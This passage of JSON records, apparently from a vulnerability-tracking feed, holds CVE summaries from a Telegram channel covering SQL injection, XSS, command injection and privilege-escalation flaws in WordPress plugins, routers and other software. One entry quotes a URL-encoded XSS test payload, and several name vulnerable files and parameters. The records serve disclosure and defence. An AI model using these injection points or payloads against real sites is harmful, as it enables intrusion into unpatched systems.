timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T08:58:25.000000Z"}, {"uuid": "c7642edf-1fb2-4a29-90f2-b488363c846b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12365", "type": "seen", "source": "https://t.me/cvedetector/15232", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12365 - WordPress W3 Total Cache Unauthorized Data Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12365 \nPublished : Jan. 14, 2025, 7:15 a.m. | 38\u00a0minutes ago \nDescription : The W3 Total Cache plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the is_w3tc_admin_page function in all versions up to, and including, 2.8.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to obtain the plugin's nonce value and perform unauthorized actions, resulting in information disclosure, service plan limits consumption as well as making web requests to arbitrary locations originating from the web application that can be used to query information from internal services, including instance metadata on cloud-based applications. \nSeverity: 8.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T08:58:24.000000Z"}, {"uuid": "577c9e9c-ca51-4a9b-822f-c78d79b0512e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12686", "type": "seen", "source": "https://t.me/cvedetector/13251", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12686 - Citrix Privileged Remote Access (PRA) and Remote Support (RS) Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12686 \nPublished : Dec. 18, 2024, 9:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability has been discovered in Privileged Remote Access (PRA) and Remote Support (RS) which can allow an attacker with existing administrative privileges to inject commands and run as a site user. \nSeverity: 6.6 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-18T22:54:10.000000Z"}, {"uuid": "fd152934-d5b5-40ae-b248-0aaea7765e50", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12948", "type": "seen", "source": "https://t.me/cvedetector/13662", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12948 - Travel Management System Travel SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12948 \nPublished : Dec. 26, 2024, 11:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Travel Management System 1.0. It has been classified as critical. This affects an unknown part of the file /detail.php. The manipulation of the argument pid leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T13:13:37.000000Z"}, {"uuid": "1170ca4d-6566-4bb8-a0a2-5c33d466fb48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12946", "type": "seen", "source": "https://t.me/cvedetector/13660", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12946 - \"1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12946 \nPublished : Dec. 26, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in 1000 Projects Attendance Tracking Management System 1.0. This issue affects some unknown processing of the file /admin/admin_action.php. The manipulation of the argument admin_user_name leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T12:23:27.000000Z"}, {"uuid": "b323ec59-bd5a-496f-b6b4-3ce8570139bf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12939", "type": "seen", "source": "https://t.me/cvedetector/13653", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12939 - Code-projects Job Recruitment SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12939 \nPublished : Dec. 26, 2024, 7:15 a.m. | 40\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Job Recruitment 1.0. It has been rated as critical. This issue affects the function add_edu of the file /_parse/_all_edits.php. The manipulation of the argument degree leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Other parameters might be affected as well. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T09:02:45.000000Z"}, {"uuid": "5c9a03e8-be19-4634-a7f0-29e157b92f91", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12940", "type": "seen", "source": "https://t.me/cvedetector/13652", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12940 - 1000 Projects Attendance Tracking Management System SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12940 \nPublished : Dec. 26, 2024, 7:15 a.m. | 40\u00a0minutes ago \nDescription : A vulnerability has been found in 1000 Projects Attendance Tracking Management System 1.0 and classified as critical. This vulnerability affects unknown code of the file /admin/student_action.php. The manipulation of the argument student_id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T09:02:44.000000Z"}, {"uuid": "d22719ed-614d-4281-9d78-c86ea2f64a7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12938", "type": "seen", "source": "https://t.me/cvedetector/13651", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12938 - Simple Admin Panel SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12938 \nPublished : Dec. 26, 2024, 6:15 a.m. | 40\u00a0minutes ago \nDescription : A vulnerability has been found in code-projects Simple Admin Panel 1.0 and classified as critical. Affected by this vulnerability is an unknown functionality of the file updateOrderStatus.php. The manipulation of the argument record leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T08:12:35.000000Z"}, {"uuid": "ee6b03e7-3145-4707-838b-9576fcaefbda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12398", "type": "seen", "source": "https://t.me/cvedetector/15228", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12398 - Zyxel WBE Web Management Interface Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12398 \nPublished : Jan. 14, 2025, 2:15 a.m. | 36\u00a0minutes ago \nDescription : An improper privilege management vulnerability in the web management interface of the Zyxel WBE530 firmware versions through 7.00(ACLE.3) and\u00a0WBE660S firmware versions through 6.70(ACGG.2) could allow an authenticated user with limited privileges to escalate their privileges to that of an administrator, enabling them to upload configuration files to a vulnerable device. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T03:57:35.000000Z"}, {"uuid": "34b9f98d-8735-4dca-af84-79fcdeb83122", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12754", "type": "seen", "source": "https://t.me/cvedetector/13944", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12754 - AnyDesk Background Image Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12754 \nPublished : Dec. 30, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : AnyDesk Link Following Information Disclosure Vulnerability. This vulnerability allows local attackers to disclose sensitive information on affected installations of AnyDesk. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.  \n  \nThe specific flaw exists within the handling of background images. By creating a junction, an attacker can abuse the service to read arbitrary files. An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. Was ZDI-CAN-23940. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T19:18:38.000000Z"}, {"uuid": "51330228-7321-4364-aa8f-8db26df73bd7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12836", "type": "seen", "source": "https://t.me/cvedetector/13943", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12836 - Delta Electronics DRASimuCAD STP File Parsing Type Confusion Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12836 \nPublished : Dec. 30, 2024, 5:15 p.m. | 44\u00a0minutes ago \nDescription : Delta Electronics DRASimuCAD STP File Parsing Type Confusion Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Delta Electronics DRASimuCAD. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.  \n  \nThe specific flaw exists within the parsing of STP files. The issue results from the lack of proper validation of user-supplied data, which can result in a type confusion condition. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-22450. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T19:18:38.000000Z"}, {"uuid": "ad97cf9b-a87b-4a25-85a7-7b3259ddb904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12568", "type": "seen", "source": "https://t.me/cvedetector/15124", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12568 - Icegram Express WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12568 \nPublished : Jan. 13, 2025, 6:15 a.m. | 30\u00a0minutes ago \nDescription : The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of its Workflow settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-13T07:52:28.000000Z"}, {"uuid": "b05222a6-7089-4f8c-b593-2479c3132192", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12567", "type": "seen", "source": "https://t.me/cvedetector/15123", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12567 - Icegram Express WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12567 \nPublished : Jan. 13, 2025, 6:15 a.m. | 30\u00a0minutes ago \nDescription : The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of its form settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-13T07:52:28.000000Z"}, {"uuid": "45797fa4-d802-4f06-a458-a6c778fc54ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12274", "type": "seen", "source": "https://t.me/cvedetector/15121", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12274 - WordPress Appointment Booking Calendar Plugin Insecure File Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12274 \nPublished : Jan. 13, 2025, 6:15 a.m. | 30\u00a0minutes ago \nDescription : The Appointment Booking Calendar Plugin and Scheduling Plugin  WordPress plugin before 1.1.23 export settings functionality exports data to a public folder, with an easily guessable file name, allowing unauthenticated attackers to access the exported files (if they exist). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-13T07:52:25.000000Z"}, {"uuid": "4382eed4-944f-422f-831d-f842d8f76e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12566", "type": "seen", "source": "https://t.me/cvedetector/15122", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12566 - Icegram Express WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12566 \nPublished : Jan. 13, 2025, 6:15 a.m. | 30\u00a0minutes ago \nDescription : The Email Subscribers by Icegram Express  WordPress plugin before 5.7.45 does not sanitise and escape some of form settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-13T07:52:26.000000Z"}, {"uuid": "d8ec48a0-369d-44d0-b814-41c6f81ffd32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12993", "type": "seen", "source": "https://t.me/cvedetector/13931", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12993 - Infinix Mobile Location Disclosure Information Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-12993 \nPublished : Dec. 30, 2024, 11:15 a.m. | 19\u00a0minutes ago \nDescription : Infinix devices contain a pre-loaded \"com.rlk.weathers\" application, that exposes an unsecured content provider. An attacker can communicate with the provider and reveal the user\u2019s location without any privileges.\u00a0  \nAfter multiple attempts to contact the vendor we did not receive any answer. We suppose this issue affects all Infinix Mobile devices. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"30 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-30T12:37:20.000000Z"}, {"uuid": "36248e21-96a1-4963-9b25-c2883d362f54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12960", "type": "seen", "source": "https://t.me/cvedetector/13689", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12960 - Apache MCA 1.0 SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12960 \nPublished : Dec. 26, 2024, 6:15 p.m. | 35\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in 1000 Projects Portfolio Management System MCA 1.0. This issue affects some unknown processing of the file /update_edu_details.php. The manipulation of the argument q leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T19:55:01.000000Z"}, {"uuid": "b2411469-1a6f-4394-afee-a1d75d948dd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12943", "type": "seen", "source": "https://t.me/cvedetector/13658", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12943 - \"CodeAstro House Rental Management System SQL Injection Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12943 \nPublished : Dec. 26, 2024, 9:15 a.m. | 22\u00a0minutes ago \nDescription : A vulnerability was found in CodeAstro House Rental Management System 1.0. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the file /ownersignup.php. The manipulation of the argument f/e/p/m/o/n/c/s/ci/a leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The initial researcher advisory only mentions the parameter \"m\" to be affected. But it must be assumed that many other parameters are affected as well. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"26 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-26T10:43:07.000000Z"}, {"uuid": "cfd5c5df-a34e-4058-8194-9c2bfa532fdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12617", "type": "seen", "source": "https://t.me/cvedetector/13554", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12617 - WordPress Omnibus WC Price History Unauthorized Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12617 \nPublished : Dec. 24, 2024, 5:15 a.m. | 35\u00a0minutes ago \nDescription : The WC Price History for Omnibus plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on several AJAX actions in all versions up to, and including, 2.1.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to view and modify history data. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:52:26.000000Z"}, {"uuid": "4af83405-54af-4ca2-8a43-d8e4e6c62b0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12710", "type": "seen", "source": "https://t.me/cvedetector/13553", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12710 - WordPress WP-Appbox Reflected Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12710 \nPublished : Dec. 24, 2024, 5:15 a.m. | 35\u00a0minutes ago \nDescription : The WP-Appbox plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 4.5.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-24T06:52:25.000000Z"}, {"uuid": "d652d46b-294a-4328-8b33-298aef730618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12991", "type": "seen", "source": "https://t.me/cvedetector/13802", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12991 - DBShop\u5168\u7403\u5546\u57ce\u7cfb\u7d71 Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12991 \nPublished : Dec. 27, 2024, 8:15 p.m. | 26\u00a0minutes ago \nDescription : A vulnerability was found in Beijing Longda Jushang Technology DBShop\u5546\u57ce\u7cfb\u7edf 3.3 Release 231225. It has been declared as problematic. This vulnerability affects unknown code of the file /home-order. The manipulation of the argument orderStatus with the input %22%3E%3Csvg%20onload=alert(5888)%3E leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T21:52:54.000000Z"}, {"uuid": "481e95d3-d695-4131-bb06-0ef52c5111fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12986", "type": "seen", "source": "https://t.me/cvedetector/13788", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12986 - DrayTek Vigor2960/Vigor300B OS Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12986 \nPublished : Dec. 27, 2024, 4:15 p.m. | 23\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, has been found in DrayTek Vigor2960 and Vigor300B 1.5.1.3/1.5.1.4. This issue affects some unknown processing of the file /cgi-bin/mainfunction.cgi/apmcfgupptim of the component Web Management Interface. The manipulation of the argument session leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.5.1.5 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 7.3 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T17:42:02.000000Z"}, {"uuid": "6d990593-bf05-433f-bb80-c221e199745a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12238", "type": "seen", "source": "https://t.me/cvedetector/13854", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12238 - Ninja Forms WordPress Unauthorized Shortcode Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12238 \nPublished : Dec. 29, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The The Ninja Forms \u2013 The Contact Form Builder That Grows With You plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 3.8.22. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for authenticated attackers, with Subscriber-level access and above, to execute arbitrary shortcodes. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-29T08:10:37.000000Z"}, {"uuid": "adf110f6-5e19-4465-8338-bdb23a8eceb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12999", "type": "seen", "source": "https://t.me/cvedetector/13849", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12999 - \"PHPGurukul Small CRM SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12999 \nPublished : Dec. 29, 2024, 2:15 a.m. | 39\u00a0minutes ago \nDescription : A vulnerability has been found in PHPGurukul Small CRM 1.0 and classified as critical. This vulnerability affects unknown code of the file /admin/edit-user.php. The manipulation of the argument id leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-29T03:59:56.000000Z"}, {"uuid": "7c0e260b-5963-4fa2-9f3f-b7fb63f78e5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12998", "type": "seen", "source": "https://t.me/cvedetector/13848", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12998 - \"Code-projects Online Car Rental System Cross Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12998 \nPublished : Dec. 28, 2024, 10:15 p.m. | 27\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in code-projects Online Car Rental System 1.0. This affects an unknown part of the file /index.php of the component GET Parameter Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-28T23:49:02.000000Z"}, {"uuid": "00d0f24e-f003-4a3e-80ca-8d9e2a3a9489", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12995", "type": "seen", "source": "https://t.me/cvedetector/13846", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12995 - Ruifang-tech Rebuild Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12995 \nPublished : Dec. 28, 2024, 2:15 p.m. | 38\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in ruifang-tech Rebuild 3.8.6. This affects an unknown part of the file /project/050-9000000000000001/tasks of the component Project Tasks Section. The manipulation of the argument description leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"28 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-28T16:17:30.000000Z"}, {"uuid": "d6c41313-1f9e-45cb-b493-039e7f4b0117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12994", "type": "seen", "source": "https://t.me/cvedetector/13845", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12994 - \"Datart Running-Elephant Deserialization RCE\"\", \n  \"Content\": \"CVE ID : CVE-2024-12994 